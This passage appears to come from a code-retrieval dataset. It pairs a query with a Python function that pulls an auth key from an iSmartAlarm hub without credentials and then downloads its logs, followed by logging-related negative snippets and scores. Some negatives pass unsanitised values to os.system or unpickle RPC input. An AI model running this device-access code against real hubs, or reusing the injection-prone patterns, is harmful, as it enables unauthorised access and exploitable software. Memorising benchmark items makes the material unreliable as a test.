None\\n\\n\\t\\ttry:\\n\\t\\t\\torigin = header_dict[\\\"Origin\\\"]\\n\\t\\texcept Exception:\\n\\t\\t\\torigin = None\\n\\n\\t\\ttry:\\n\\t\\t\\tjson_data = request.json\\n\\t\\texcept Exception:\\n\\t\\t\\tjson_data = None\\n\\n\\t\\ttry:\\n\\t\\t\\tplatform = request.user_agent.platform.title()\\n\\t\\texcept Exception:\\n\\t\\t\\tplatform = None\\n\\n\\t\\ttry:\\n\\t\\t\\tbrowser = request.user_agent.browser.title()\\n\\t\\texcept Exception:\\n\\t\\t\\tbrowser = None\\n\\n\\t\\ttry:\\n\\t\\t\\tauth_header_token = header_dict[\\\"Authorization\\\"].split(\\\" \\\")[1]\\n\\t\\texcept Exception:\\n\\t\\t\\tauth_header_token = None\\n\\t\\t\\n\\t\\t## If set to run before a request: This is the default setting\\n\\t\\tif self.pre_request:\\n\\t\\t\\t@self.app.before_request()\\n\\t\\t\\tdef run():\\n\\t\\t\\t\\t## If the path accessed is in the do_not_log list, it is skipped\\n\\t\\t\\t\\tif request.path in self.do_not_log:\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t## If the path accessed is not in the do_not_log list, it is posted\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\tpost_data = {\\n\\t\\t\\t\\t\\t\\t\\\"error\\\": None,\\n\\t\\t\\t\\t\\t\\t\\\"stack_trace\\\": None,\\n\\t\\t\\t\\t\\t\\t\\\"method\\\": request.method,\\n\\t\\t\\t\\t\\t\\t\\\"source_ip\\\": request.remote_addr,\\n\\t\\t\\t\\t\\t\\t\\\"url\\\": request.url,\\n\\t\\t\\t\\t\\t\\t\\\"status_code\\\": 200, ## Assumed to be 200 due to the nature of the function\\n\\t\\t\\t\\t\\t\\t\\\"headers\\\": str(header_dict),\\n\\t\\t\\t\\t\\t\\t\\\"user_agent\\\": user_agent,\\n\\t\\t\\t\\t\\t\\t\\\"language\\\": language,\\n\\t\\t\\t\\t\\t\\t\\\"platform\\\": platform,\\n\\t\\t\\t\\t\\t\\t\\\"browser\\\": browser,\\n\\t\\t\\t\\t\\t\\t\\\"referer\\\": referer,\\n\\t\\t\\t\\t\\t\\t\\\"origin\\\": origin,\\n\\t\\t\\t\\t\\t\\t\\\"auth_header\\\": auth_header_token,\\n\\t\\t\\t\\t\\t\\t\\\"access_time\\\": datetime.now().strftime(\\\"%A, %d %B %Y %H:%M:%S\\\"),\\n\\t\\t\\t\\t\\t\\t\\\"logging_access_key\\\": self.accessKey,\\n\\t\\t\\t\\t\\t\\t\\\"json\\\": json_data,\\n\\t\\t\\t\\t\\t\\t\\\"request_params\\\": str(dict(request.args))\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tself.startPost(post_data)\\n\\n\\t\\t\\t\\t\\treturn\\n\\n\\t\\t\\treturn run\\n\\t\\t\\n\\t\\t## If set to as a wrapper to a function\\n\\t\\telse:\\n\\t\\t\\tdef log_decorator(func):\\n\\n\\t\\t\\t\\t@wraps(func)\\n\\t\\t\\t\\tdef execute(*args, **kwargs):\\n\\t\\t\\t\\t\\ttry:\\n\\t\\t\\t\\t\\t\\tresult = func(*args, **kwargs)\\n\\n\\t\\t\\t\\t\\t\\tresult_response = make_response(result)\\n\\n\\t\\t\\t\\t\\t\\tpost_data = {\\n\\t\\t\\t\\t\\t\\t\\t\\\"error\\\": None,\\n\\t\\t\\t\\t\\t\\t\\t\\\"stack_trace\\\": None,\\n\\t\\t\\t\\t\\t\\t\\t\\\"method\\\": request.method,\\n\\t\\t\\t\\t\\t\\t\\t\\\"source_ip\\\": request.remote_addr,\\n\\t\\t\\t\\t\\t\\t\\t\\\"url\\\": request.url,\\n\\t\\t\\t\\t\\t\\t\\t\\\"status_code\\\": result_response.status_code,\\n\\t\\t\\t\\t\\t\\t\\t\\\"headers\\\": str(header_dict),\\n\\t\\t\\t\\t\\t\\t\\t\\\"user_agent\\\": user_agent,\\n\\t\\t\\t\\t\\t\\t\\t\\\"language\\\": language,\\n\\t\\t\\t\\t\\t\\t\\t\\\"platform\\\": platform,\\n\\t\\t\\t\\t\\t\\t\\t\\\"browser\\\": browser,\\n\\t\\t\\t\\t\\t\\t\\t\\\"referer\\\": referer,\\n\\t\\t\\t\\t\\t\\t\\t\\\"origin\\\": origin,\\n\\t\\t\\t\\t\\t\\t\\t\\\"auth_header\\\": auth_header_token,\\n\\t\\t\\t\\t\\t\\t\\t\\\"access_time\\\": datetime.now().strftime(\\\"%A, %d %B %Y %H:%M:%S\\\"),\\n\\t\\t\\t\\t\\t\\t\\t\\\"logging_access_key\\\": self.accessKey,\\n\\t\\t\\t\\t\\t\\t\\t\\\"json\\\": json_data,\\n\\t\\t\\t\\t\\t\\t\\t\\\"request_params\\\": str(dict(request.args))\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tself.startPost(post_data)\\n\\n\\t\\t\\t\\t\\texcept Exception as e:\\n\\t\\t\\t\\t\\t\\tresult = func(*args, **kwargs)\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\ttrace = traceback.format_exc()\\n\\n\\t\\t\\t\\t\\t\\tkwargs = {\\n\\t\\t\\t\\t\\t\\t\\t\\\"trace\\\": trace,\\n\\t\\t\\t\\t\\t\\t\\t\\\"exception\\\": str(e)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\tpost_data = {\\n\\t\\t\\t\\t\\t\\t\\t\\\"error\\\": str(e),\\n\\t\\t\\t\\t\\t\\t\\t\\\"stack_trace\\\": trace,\\n\\t\\t\\t\\t\\t\\t\\t\\\"method\\\": request.method,\\n\\t\\t\\t\\t\\t\\t\\t\\\"source_ip\\\": request.remote_addr,\\n\\t\\t\\t\\t\\t\\t\\t\\\"url\\\": request.url,\\n\\t\\t\\t\\t\\t\\t\\t\\\"status_code\\\": 500,\\n\\t\\t\\t\\t\\t\\t\\t\\\"headers\\\": str(header_dict),\\n\\t\\t\\t\\t\\t\\t\\t\\\"user_agent\\\": user_agent,\\n\\t\\t\\t\\t\\t\\t\\t\\\"language\\\": language,\\n\\t\\t\\t\\t\\t\\t\\t\\\"platform\\\": platform,\\n\\t\\t\\t\\t\\t\\t\\t\\\"browser\\\": browser,\\n\\t\\t\\t\\t\\t\\t\\t\\\"referer\\\": referer,\\n\\t\\t\\t\\t\\t\\t\\t\\\"origin\\\": origin,\\n\\t\\t\\t\\t\\t\\t\\t\\\"auth_header\\\": auth_header_token,\\n\\t\\t\\t\\t\\t\\t\\t\\\"access_time\\\": datetime.now().strftime(\\\"%A, %d %B %Y %H:%M:%S\\\"),\\n\\t\\t\\t\\t\\t\\t\\t\\\"logging_access_key\\\": self.accessKey,\\n\\t\\t\\t\\t\\t\\t\\t\\\"json\\\": json_data,\\n\\t\\t\\t\\t\\t\\t\\t\\\"request_params\\\": str(dict(request.args))\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tself.startPost(post_data)\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\treturn result\\n\\t\\t\\t\\t\\n\\t\\t\\t\\treturn execute\\n\\t\\t\\t\\n\\t\\t\\treturn log_decorator\",\n \"def create_audit_log_for_request(response):\\n try:\\n method = flask.request.method\\n endpoint = flask.request.path\\n audit_data = getattr(flask.g, \\\"audit_data\\\", {})\\n request_url = endpoint\\n if flask.request.query_string:\\n # could use `flask.request.url` but we don't want the root URL\\n request_url += f\\\"?{flask.request.query_string.decode('utf-8')}\\\"\\n\\n if method == \\\"GET\\\" and endpoint.startswith(\\\"/data/download/\\\"):\\n flask.current_app.audit_service_client.create_presigned_url_log(\\n status_code=response.status_code,\\n request_url=request_url,\\n guid=endpoint[len(\\\"/data/download/\\\") :],\\n action=\\\"download\\\",\\n **audit_data,\\n )\\n elif method == \\\"GET\\\" and endpoint.startswith(\\\"/login/\\\"):\\n request_url = _clean_authorization_request_url(request_url)\\n if audit_data: # ignore login calls with no `username`/`sub`/`idp`\\n flask.current_app.audit_service_client.create_login_log(\\n status_code=response.status_code,\\n request_url=request_url,\\n **audit_data,\\n )\\n except Exception:\\n # TODO monitor this somehow\\n traceback.print_exc()\\n logger.error(f\\\"!!! Unable to create audit log! Returning response anyway...\\\")\\n\\n return response\",\n \"def test_nodelog_no_junit_apiserver(self):\\n nodelog_url = self.BUILD_DIR + 'nodelog?pod=abc&junit=junit_01.xml'\\n init_build(self.BUILD_DIR)\\n write(self.BUILD_DIR + 'artifacts/junit_01.xml', JUNIT_SUITE)\\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/docker.log',\\n 'Containers\\\\n')\\n write(self.BUILD_DIR + 'artifacts/tmp-node-2/kubelet.log',\\n 'apiserver pod abc\\\\n')\\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/kubelet.log',\\n 'abc\\\\nEvent(api.ObjectReference{Name:\\\"abc\\\", UID:\\\"podabc\\\"})\\\\n')\\n response = app.get('/build' + nodelog_url)\\n self.assertIn(\\\"tmp-node-2\\\", response)\",\n \"def dinghy_get_pod_logs(req, resp):\\n resp.content = api.template(\\n 'pod_logs.html'\\n )\",\n \"def get_upload_source_log(upload_id: int, user: auth_domain.User) -> Response:\\n user_string = util.format_user_information_for_logging(user)\\n logger.info(\\\"%s: Download source log [%s].\\\", upload_id, user_string)\\n try:\\n workspace: Workspace = database.retrieve(upload_id)\\n except IOError:\\n logger.error(\\\"%s: GetSourceLog: There was a problem connecting to\\\"\\n \\\" database.\\\", upload_id)\\n raise InternalServerError(messages.UPLOAD_DB_CONNECT_ERROR)\\n\\n except database.WorkspaceNotFound as nf:\\n logger.info(\\\"%s: Workspace not found: '%s'\\\", upload_id, nf)\\n raise NotFound(messages.UPLOAD_NOT_FOUND) from nf\\n\\n\\n filepointer = workspace.log.open_pointer('rb')\\n headers = {\\n \\\"Content-disposition\\\": f\\\"filename={workspace.log.name}\\\",\\n 'ETag': workspace.log.checksum,\\n 'Content-Length': workspace.log.size_bytes,\\n 'Last-Modified': workspace.log.last_modified,\\n 'ARXIV-OWNER': workspace.owner_user_id\\n }\\n return filepointer, status.OK, headers\",\n \"def emit(self, record):\\n data = getattr(record, 'synchrolog', {})\\n if not data:\\n return\\n\\n url = data.pop('url', None)\\n\\n if not url:\\n return\\n\\n headers = {'Authorization': f'Basic {self.access_token}'}\\n response = requests.post(url=url, json=data, headers=headers)\\n if response.status_code >= 400:\\n print('Could not send logging info to synchrolog server\\\\n\\\\n', response.text)\",\n \"def get_logs(self):\\n logs_directory = self.protocol_config['logs']\\n protocol_name = self.protocol_config['protocol']\\n os.system(f'fab -f Execution/fabfile.py get_logs:{logs_directory} --parallel | '\\n f' tee WebApp/ExecutionLogs/{protocol_name}.log')\",\n \"def log_download(self, download):\\n with self._conn.begin():\\n self._conn.execute(\\n \\\"VALUES (log_download(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s))\\\",\\n (\\n sanitize(download.filename),\\n download.host,\\n download.timestamp.astimezone(UTC).replace(tzinfo=None),\\n sanitize(download.arch),\\n sanitize(download.distro_name),\\n sanitize(download.distro_version),\\n sanitize(download.os_name),\\n sanitize(download.os_version),\\n sanitize(download.py_name),\\n sanitize(download.py_version),\\n sanitize(download.installer_name),\\n sanitize(download.installer_version),\\n sanitize(download.setuptools_version),\\n ))\",\n \"def main(args):\\n try:\\n _download_mjlog(args.log_id, args.output)\\n except requests.exceptions.HTTPError as error:\\n if error.response.status_code == 404:\\n _LG.error('Log file (%s) not found.', args.log_id)\\n else:\\n _LG.exception('Unexpected error.')\\n sys.exit(1)\",\n \"def access(self, resp, req, environ, request_time):\\n if not (self.cfg.accesslog or self.cfg.logconfig or self.cfg.syslog):\\n return\\n\\n msg = self.make_access_message(resp, req, environ, request_time)\\n try:\\n self.access_log.info(msg)\\n except:\\n self.error(traceback.format_exc())\",\n \"def process_syslog_message(self, request: Tuple[bytes, socket]):\\n # Parse data from socket request\\n message = bytes.decode(request[0].strip())\\n source_ip_address, source_port = request[1].getsockname()\\n message_list = message.split(\\\"-\\\")\\n\\n # Store it in a data structure\\n message_dict = dict()\\n message_dict[\\\"src_port\\\"] = source_port\\n message_dict[\\\"src_ip\\\"] = source_ip_address\\n message_dict[\\\"time\\\"] = message_list[0].split(\\\":\\\", 1)[1].split(\\\": \\\")[0].strip()\\n message_dict[\\\"level\\\"] = int(message_list[1])\\n message_dict[\\\"syslog\\\"] = message_list[2]\\n\\n # Save to mongo\\n devices = Device.objects(src_ip=source_ip_address)\\n if not devices:\\n device = Device(src_ip=source_ip_address, src_port=source_port)\\n else:\\n device = devices[0]\\n\\n # Save syslog to database\\n syslog = Syslog(**message_dict)\\n syslog.save()\\n message_dict[\\\"syslog_id\\\"] = str(syslog.id)\\n\\n # Send message\\n response = self.post_message(message=message_dict)\\n\\n # Get the slack thread id and save it to the syslog\\n thread_ts = response.data[\\\"ts\\\"]\\n syslog.thread_ts = thread_ts\\n syslog.save()\\n\\n # Reference is in the device and save the device\\n device.syslogs.append(syslog)\\n device.syslog_count += 1\\n device.save()\",\n \"def do_POST(self):\\n orig_request = ssl_proxy_log.Request(self.path, 'POST', self.headers,\\n self.log, self.http_redirect_table, self.ssl_redirect_table)\\n self.log.debug('do_POST called: %s' % self.path)\\n request_log = self.fetch2(orig_request, self.wfile, self.rfile)\\n\\n# if not request_log:\\n# return\\n\\n# if self.display_filter:\\n# if not self.display_filter.search(self.path):\\n# return\\n\\n if self.interactive:\\n self.Log(request_log)\",\n \"def test_04_logs(self):\\n\\n file_name = 'train-test.log'\\n request_json = {'file':'train-test.log'}\\n r = requests.get('http://localhost:{}/logs/{}'.format(port,file_name))\\n\\n with open(file_name, 'wb') as f:\\n f.write(r.content)\\n \\n self.assertTrue(os.path.exists(file_name))\\n\\n if os.path.exists(file_name):\\n os.remove(file_name)\",\n \"def GetDownloadLogFolder(instance):\\n log_folder = os.path.join(tempfile.gettempdir(), instance)\\n if not os.path.exists(log_folder):\\n os.makedirs(log_folder)\\n logger.info(\\\"Download logs to folder: %s\\\", log_folder)\\n return log_folder\",\n \"def get_url(url):\\n get_logs = requests.get(url)\\n return get_logs.text\",\n \"def test_03_add_log_document(self):\\n # get applications\\n r = requests.get('%s/settings/applications' % self.url, cookies=self.cookies)\\n self.assertEqual(r.status_code, 200)\\n application_key = re.search('<td>Key</td>.*<td>(.*)</td>', r.content).group(1)\\n application_id = re.search('<form id=\\\"application(\\\\d+)\\\"', r.content).group(1)\\n\\n # add a log\\n title = 'log %f' % random.random()\\n r = requests.post('%s/api/v1/log/%s' % (self.url, application_key), data={\\n 'name': 'Kelp',\\n 'title': title,\\n \\\"description\\\": \\\"log description\\\",\\n \\\"email\\\": \\\"name@gmail.com\\\",\\n \\\"version\\\": \\\"1.0 (1.0.012)\\\",\\n \\\"device\\\": \\\"iPhone5,1\\\",\\n \\\"os_version\\\": \\\"6.1\\\",\\n \\\"access_token\\\": \\\"oauth access token\\\",\\n \\\"method\\\": \\\"method of http request\\\",\\n \\\"url\\\": \\\"http://victory-demo.appspot.com\\\",\\n \\\"parameters\\\": \\\"parameters of http request\\\",\\n \\\"status\\\": \\\"500\\\"\\n })\\n self.assertEqual(r.status_code, 200)\\n result = json.loads(r.content)\\n self.assertTrue(result['success'])\\n\\n # get log groups\\n r = requests.get('%s/log_groups' % self.url, cookies=self.cookies)\\n self.assertEqual(r.status_code, 200)\\n group_tag = re.search('<tr href=\\\"#document_(.+)\\\" ', r.content).group(1)\\n\\n # get the log group\\n r = requests.get('%s/log_groups/%s/%s' % (self.url, application_id, group_tag), cookies=self.cookies)\\n self.assertEqual(r.status_code, 200)\\n self.assertRegexpMatches(r.content, '<tr><td>Email</td><td>name@gmail.com</td></tr>')\",\n \"def readLog(self, offset, length):\\r\\n self._update('readLog')\\r\\n\\r\\n logfile = self.supervisord.options.logfile\\r\\n\\r\\n if logfile is None or not os.path.exists(logfile):\\r\\n raise RPCError(Faults.NO_FILE, logfile)\\r\\n\\r\\n try:\\r\\n return as_string(readFile(logfile, int(offset), int(length)))\\r\\n except ValueError as inst:\\r\\n why = inst.args[0]\\r\\n raise RPCError(getattr(Faults, why))\",\n \"def call_change_log(input_filter):\\n try:\\n if input_filter is None:\\n latest = _find_latest()\\n service_endpoint = _find_filter(\\\"change_log\\\")\\n else:\\n keyword = input_filter.split(\\\" \\\")[0]\\n if \\\"release\\\" == keyword or \\\"build\\\" == keyword:\\n service_endpoint = _find_filter(input_filter.split(\\\";\\\")[2])\\n else:\\n service_endpoint = _find_filter(keyword)\\n\\n rel_build = input_filter.replace(\\\"_\\\", \\\".\\\").split(\\\" \\\")[1].split(\\\";\\\")\\n\\n if \\\"build\\\" == keyword:\\n latest_rel = rel_build[1]\\n latest_bui = rel_build[0]\\n else:\\n latest_rel = rel_build[0]\\n latest_bui = rel_build[1]\\n\\n latest = {\\\"latest_val\\\": latest_rel + \\\"_\\\" + latest_bui,\\n \\\"second_latest_val\\\": latest_rel + \\\"_\\\" + str(int(latest_bui)-1)}\\n\\n latest_query = latest[\\\"second_latest_val\\\"] + \\\"..\\\" + latest[\\\"latest_val\\\"]\\n data = _call_rest_api(service_endpoint + \\\"/\\\" + latest_query, None)\\n except Exception as e:\\n logger.error(str(e))\\n data = {\\\"success\\\": \\\"\\\", \\\"data\\\": {}, \\\"error\\\": {\\\"Message\\\": str(e)}}\\n data = jsonify(data)\\n return data\",\n \"def getArchLogs(self):\\n\\n # Implement checkFiles() for archs?\\n\\n # Pull log file\\n if self.nbDetails['proc']['archLog'] is not None:\\n result = self.c.get(self.nbDetails['proc']['archLog'])\\n print(f\\\"Pulled archive creation log {result.remote} to {result.local}\\\")\\n else:\\n print(f\\\"Archives not yet written.\\\")\",\n \"def get_logger(self, ast_ctx, log_type, *arg, **kw):\\n\\n name = ast_ctx.get_logger_name()\\n if name not in self.loggers:\\n #\\n # Maintain a cache for efficiency.\\n #\\n self.loggers[name] = ast_ctx.get_logger()\\n return getattr(self.loggers[name], log_type)\",\n \"def update_logs(event, log, action_log, error_log):\\n\\tif event[\\\"type\\\"] == \\\"error\\\":\\n\\t\\t#Update the error log file\\n\\telse:\\n\\t\\t# event[\\\"type\\\"] == \\\"action\\\"\\n\\t\\t#Update action file\",\n \"def os_open_comm_log( self, ):\\r\\n AppGlobal.os_open_txt_file( self.parameters.comm_logging_fn )\",\n \"def show_bigdl_info_logs(bigdl_type=\\\"float\\\"):\\n callBigDlFunc(bigdl_type, \\\"showBigDlInfoLogs\\\")\",\n \"def handle_syslog_req(self, user, packet):\\n #print(\\\"=========\\\" + json.dumps(packet))\\n start = packet['start']\\n end = packet['end']\\n mappings = 'get_mappings' in packet\\n pinfo = self.DB.get_proc_info(start, end, mappings)\\n minfo = self.DB.get_mem_info(start, end)\\n ninfo = self.DB.get_net_info(start, end)\\n dinfo = self.DB.get_diskuse_info(start, end)\\n cinfo = self.DB.get_cpu_info(start, end)\\n reply = {\\n \\\"pinfo\\\":pinfo, # full processes info\\n \\\"minfo\\\":minfo, # total memory info\\n \\\"ninfo\\\":ninfo, # total network info\\n \\\"dinfo\\\":dinfo, # total disk info\\n \\\"cinfo\\\":cinfo # total CPU info\\n }\\n return reply\",\n \"def search(self,\\n referenceid: str = None,\\n processlogtype_id: str = None,\\n skip: int = None,\\n take: int = None,\\n order_by: str = None,\\n expand: str = None,\\n ):\\n endpoint = r\\\"ProcessLogDetails/search\\\"\\n uri = f\\\"{self.base_uri}/{endpoint}\\\"\\n params = {'referenceId': referenceid,\\n 'processLogTypeId': processlogtype_id,\\n 'skip': skip,\\n 'take': take,\\n 'orderBy': order_by,\\n 'expand': expand\\n }\\n response = requests.get(uri, headers=self.header_factory(), params=params)\\n return Response(response)\",\n \"def addLog(log_info,seed_keyword=\\\"\\\",meta_keyword=\\\"\\\"):\\n payload = {\\n \\\"user\\\" : os.getlogin(),\\n \\\"seed_keyword\\\":seed_keyword,\\n \\\"meta_keyword\\\":meta_keyword,\\n \\\"log_info\\\":log_info\\n }\\n res = requests.post('{}add/issue/'.format(base_url),data=payload)\\n return res.status_code\",\n \"def log_request(forecast):\\n from time import gmtime, strftime\\n current_day = strftime(\\\"%d/%m/%Y\\\", gmtime())\\n current_time = strftime(\\\"%H:%M\\\", gmtime())\\n\\n with open('locations.log', 'a') as log:\\n # print(request.remote_addr, file=log) # IP address\\n # print(request.user_agent, file=log) # User agent\\n # print(where.title(), current, forecast, file=log, sep=' | ')\\n\\n location = forecast['location']\\n temperature = str(forecast['temperature']) + '°C'\\n weather = forecast['weather']\\n print(location.title(), current_day, current_time, temperature, weather.title(), file=log, sep=' | ')\",\n \"def gerar_log():\\n arquivo = Path(f'{path_server}/etc/serverx/logs/{datetime.date.today().strftime(\\\"%d-%m-%Y\\\")}.txt')\\n if os.path.exists(arquivo):\\n with open(f'{path_server}/etc/serverx/logs/{datetime.date.today().strftime(\\\"%d-%m-%Y\\\")}.txt', 'a') as acessos:\\n acessos.write(f'{datetime.datetime.now()} - {request.headers[\\\"Host\\\"]} {request.headers[\\\"User-Agent\\\"]}\\\\n')\\n else:\\n with open(f'{path_server}/etc/serverx/logs/{datetime.date.today().strftime(\\\"%d-%m-%Y\\\")}.txt', 'w') as acessos:\\n acessos.write(f'{datetime.datetime.now()} - {request.headers[\\\"Host\\\"]} {request.headers[\\\"User-Agent\\\"]}\\\\n')\",\n \"def __call__(self, request):\\n request.start_time = time.time()\\n\\n response = self.get_response(request)\\n\\n log_data = self.extract_log_info(request=request, response=response)\\n logger.info(log_data)\\n\\n return response\",\n \"def get_log()->dict:\\n return execute_command(\\\"SELECT log FROM log\\\").fetchall()[0][0]\",\n \"def test_nodelog_kubelet(self):\\n nodelog_url = self.BUILD_DIR + 'nodelog?pod=abc&junit=junit_01.xml'\\n init_build(self.BUILD_DIR)\\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/junit_01.xml', JUNIT_SUITE)\\n write(self.BUILD_DIR + 'artifacts/tmp-node-image/kubelet.log',\\n 'abc\\\\nEvent(api.ObjectReference{Name:\\\"abc\\\", UID:\\\"podabc\\\"})\\\\n')\\n response = app.get('/build' + nodelog_url)\\n self.assertIn(\\\"Wrap line\\\", response)\",\n \"def userLog(self, logStr):\\n if self.ioLoopInst is not None:\\n cmd = {'cmd': 'userLog', 'value': logStr}\\n self._sendMessageToWeb(cmd)\\n else:\\n print(\\\"UserLog: \\\" + logStr)\",\n \"def log(self, logdata_ps): # 0.2.2: single arg as for non-xmlrpc version\\n\\t\\ttry:\\n\\t\\t\\tlogdata = pickle.loads(logdata_ps.data)\\n\\t\\texcept Exception as e:\\n\\t\\t\\treturn \\\"invalid pickle data:\\\"+str(e)\\n\\t\\ttry:\\n\\t\\t\\tself.s.log(logdata)\\n\\t\\texcept Exception as e:\\n\\t\\t\\treturn \\\"log failed:\\\"+str(e)\\n\\t\\treturn \\\"\\\"\",\n \"def get_log(self, logs, ref=None):\\n log_list = list()\\n output_list = list()\\n if isinstance(logs, str):\\n log_list.append(logs)\\n elif isinstance(logs, list):\\n log_list = logs\\n for name in log_list:\\n new_log = Log()\\n new_log.name = name.lower()[:3] + '_' + \\\\\\n self.well_name.lower().replace('-', '_')\\n new_log.units = self.unit_dict[name]\\n new_log.descr = name\\n new_log.depth = np.array(self.data_frame['Depth(m)'].values)\\n new_log.data = np.array(self.data_frame[\\n '{}({})'.format(name, self.unit_dict[name])].values)\\n if ref == 'sea':\\n shift = int(self.kelly_bushing // 0.1)\\n shift_data = np.full_like(new_log.data, np.nan, dtype=np.double)\\n shift_data[:-shift] = new_log.data[shift:]\\n new_log.data = shift_data\\n output_list.append(new_log)\\n if isinstance(logs, str):\\n return output_list[0]\\n else:\\n return output_list\",\n \"def export_getRequest(self,requestType):\\n gLogger.info(\\\"RequestHandler.getRequest: Attempting to get request type\\\", requestType)\\n try:\\n res = requestDB.getRequest(requestType)\\n return res\\n except Exception,x:\\n errStr = \\\"RequestManagerHandler.getRequest: Exception while getting request.\\\"\\n gLogger.exception(errStr,requestType,lException=x)\\n return S_ERROR(errStr)\",\n \"def log_process():\\n global logger\\n\\n p = reqparse.RequestParser()\\n\\n # answer when requested as json in a post\\n p.add_argument('tool_id' , type=str, location='json')\\n p.add_argument('api_key', type=str, location='json')\\n p.add_argument('message', type=str, location='json')\\n \\n # get passed params \\n args = p.parse_args()\\n\\n args.setdefault('api_key','')\\n args.setdefault('message','')\\n args.setdefault('tool_id','')\\n\\n if (args['api_key'] != api_key):\\n return log_respond(1,'api_key invalid')\\n\\n logger.info('tool_id:' + args['tool_id'] + ',' + args['message'])\\n\\n return log_respond(0,'ok: log posted')\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.67096645","0.65055877","0.6106368","0.58931","0.58395517","0.5779254","0.56427187","0.5483352","0.544234","0.5432902","0.5360811","0.53573716","0.534782","0.5324201","0.5309597","0.5293043","0.5293043","0.5286416","0.5264758","0.5244137","0.5232413","0.5217187","0.5215271","0.51928717","0.51812726","0.5152398","0.5134838","0.50949717","0.5065866","0.50527287","0.50488126","0.50463617","0.5037039","0.50275654","0.5020545","0.49935526","0.49930024","0.49844572","0.49685487","0.49685195","0.4961535","0.4955147","0.49253216","0.49132836","0.4904482","0.4899877","0.4891682","0.48824766","0.48821083","0.48800388","0.48683098","0.48544118","0.48488283","0.48393917","0.48393568","0.48373616","0.48236495","0.48157623","0.48088208","0.4805442","0.47985038","0.47953492","0.47910583","0.4791034","0.47893864","0.4783661","0.47822532","0.47752574","0.47466362","0.47435164","0.4738876","0.4711985","0.47116652","0.47089562","0.47036326","0.47022268","0.4698939","0.46986306","0.46962726","0.4695781","0.46939424","0.46884182","0.46867257","0.46863148","0.46858126","0.4676513","0.4675678","0.46732208","0.4672337","0.46719283","0.46710944","0.46704462","0.46653244","0.46580464","0.46563414","0.46511757","0.46502587","0.46449998","0.4629591","0.4627197"],"string":"[\n \"0.67096645\",\n \"0.65055877\",\n \"0.6106368\",\n \"0.58931\",\n \"0.58395517\",\n \"0.5779254\",\n \"0.56427187\",\n \"0.5483352\",\n \"0.544234\",\n \"0.5432902\",\n \"0.5360811\",\n \"0.53573716\",\n \"0.534782\",\n \"0.5324201\",\n \"0.5309597\",\n \"0.5293043\",\n \"0.5293043\",\n \"0.5286416\",\n \"0.5264758\",\n \"0.5244137\",\n \"0.5232413\",\n \"0.5217187\",\n \"0.5215271\",\n \"0.51928717\",\n \"0.51812726\",\n \"0.5152398\",\n \"0.5134838\",\n \"0.50949717\",\n \"0.5065866\",\n \"0.50527287\",\n \"0.50488126\",\n \"0.50463617\",\n \"0.5037039\",\n \"0.50275654\",\n \"0.5020545\",\n \"0.49935526\",\n \"0.49930024\",\n \"0.49844572\",\n \"0.49685487\",\n \"0.49685195\",\n \"0.4961535\",\n \"0.4955147\",\n \"0.49253216\",\n \"0.49132836\",\n \"0.4904482\",\n \"0.4899877\",\n \"0.4891682\",\n \"0.48824766\",\n \"0.48821083\",\n \"0.48800388\",\n \"0.48683098\",\n \"0.48544118\",\n \"0.48488283\",\n \"0.48393917\",\n \"0.48393568\",\n \"0.48373616\",\n \"0.48236495\",\n \"0.48157623\",\n \"0.48088208\",\n \"0.4805442\",\n \"0.47985038\",\n \"0.47953492\",\n \"0.47910583\",\n \"0.4791034\",\n \"0.47893864\",\n \"0.4783661\",\n \"0.47822532\",\n \"0.47752574\",\n \"0.47466362\",\n \"0.47435164\",\n \"0.4738876\",\n \"0.4711985\",\n \"0.47116652\",\n \"0.47089562\",\n \"0.47036326\",\n \"0.47022268\",\n \"0.4698939\",\n \"0.46986306\",\n \"0.46962726\",\n \"0.4695781\",\n \"0.46939424\",\n \"0.46884182\",\n \"0.46867257\",\n \"0.46863148\",\n \"0.46858126\",\n \"0.4676513\",\n \"0.4675678\",\n \"0.46732208\",\n \"0.4672337\",\n \"0.46719283\",\n \"0.46710944\",\n \"0.46704462\",\n \"0.46653244\",\n \"0.46580464\",\n \"0.46563414\",\n \"0.46511757\",\n \"0.46502587\",\n \"0.46449998\",\n \"0.4629591\",\n \"0.4627197\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.635149"},"document_rank":{"kind":"string","value":"2"}}},{"rowIdx":15390,"cells":{"query":{"kind":"string","value":"Dumps the log from the ismartalarm"},"document":{"kind":"string","value":"def dump_log(ip, verbose=False):\n # Force ip to str (if eg. ip == ipaddress class)\n ip = str(ip)\n\n # Getting Auth Key\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((ip, TCP_PORT_AUTH))\n s.send(GET_AUTH_KEY)\n data = s.recv(BUFFER_SIZE)\n s.close()\n\n auth_key = data[16:32]\n if verbose:\n print(\"Received data: {} - KEY: {}\".format(data, auth_key), file=sys.stderr)\n\n\n # Asking for logs\n ask_logs_auth = ASK_LOGS_AUTH_NOKEY + auth_key\n\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((ip, TCP_PORT_LOGS))\n\n s.send(ask_logs_auth)\n # Waiting for response and discard it, it's only a confirmation\n data = s.recv(BUFFER_AUTH_REPONSE)\n if verbose:\n print(\"Response: \", data, file=sys.stderr)\n\n # Socket Connection will time out after 10 seconds of inactivity (The Cube finished sending the logs)\n s.settimeout(10)\n s.send(ASK_LOGS_FLOW)\n # Waiting for response\n ismart_log = b\"\"\n i = 0\n while 1:\n if i % 4 == 0 and verbose:\n print(\"Receiving logs...\", file=sys.stderr)\n try:\n data = s.recv(BUFFER_FLOW_REPONSE)\n ismart_log += data\n except socket.timeout:\n if verbose:\n print(\"Connection timed out after 10 seconds of inactivity from the cube\", file=sys.stderr)\n break\n i += 1\n\n s.close()\n return 